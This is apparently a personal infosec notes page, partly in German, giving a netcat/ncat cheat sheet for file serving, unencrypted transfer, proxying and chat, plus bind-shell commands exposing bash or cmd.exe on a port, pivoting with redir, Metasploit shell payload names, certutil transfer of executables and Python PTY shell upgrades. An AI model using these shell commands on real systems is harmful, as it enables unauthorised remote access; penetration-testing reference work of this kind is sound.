akde/infosec

Information security is ultimately about managing risk


Namenskonfusion

  • net­cat = nc can read and write to/from TCP/UDP ports. 
    • Port scan­ning
    • Trans­fer files unencrypted
    • Ban­ner grabbing
  • ncat do the same and more (espe­cial­ly SSL
    • All from above
    • Shells

Datei ausliefern:

echo -e "HTTP/1.1 200 OK\nContent-Length: 5\n\nHallo" | nc -l localhost 8000

Datei anfragen über SSL:

echo -e "GET / HTTP/1.1\nHost: localhost\n\n" | ncat -C --ssl localhost 443

Gebe Ausgabe von Programm zurück:

ncat -l localhost 3000 --exec /bin/date

Datei direkt übertragen (unverschlüsselt!):

1. Empfänger:

user@host02:~$ ncat -l > aha

oder

nc -nlvp 4444 > incoming.file

2. Sender:

user@host01:~$ ncat --send-only 10.186.158.2 < g.txt

oder

nc -nv 192.168.5.1 4444 < /tmp/file

Datei über Proxy übertragen (unverschlüsselt!) A‑B-C:

1. Bro­ker starten auf B:

ncat -l --broker

2. Empfänger starten auf C:

ncat B > ausgabedatei

3. Sender sendet von A:

ncat --send-only B < g.txt

Chat / data transfer

Lauschen auf Host A:

ncat -nlvp 4444

Verbinden mit Dienst auf anderem Host:

ncat -nv 192.168.5.1 4444
ncat -nv host.tld 110

Shell

Shell auf Ziel­rech­n­er binden:

[Linux] ncat -nlvp 4444 -e /bin/bash
[Windows] ncat.exe --exec cmd.exe -vnl 4444
[Windows] nc -dLp 4444 -e cmd.exe // d => don't quit with enter

Auf beliebig vie­len Zwis­chen­rech­n­ern mit redir weit­er­leit­en (evtl. geht auch ncat –bro­ker)

redir --lport=5555 --laddr=192.168.5.104 --cport=4444 --caddr=192.168.20.129

Auf Client die Kon­sole öffnen:

ncat -nv 192.168.5.104 5555

Option­al kann –ssl angegeben werden.

Sich­er­stellen, dass nicht ein Paket­fil­ter filtert.…

In Metas­ploit: Use the fol­low­ing payloads

  • payload/windows/x64/shell/reverse_tcp or
  • payload/windows/x64/shell_bind_tcp

Zwischenablage

Auf Lin­ux

base64 file.exe > file.b64

Unter Win­dows

certutil -decode file.b64 file.exe

As portscanner

See net­work and port scan­ning post

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';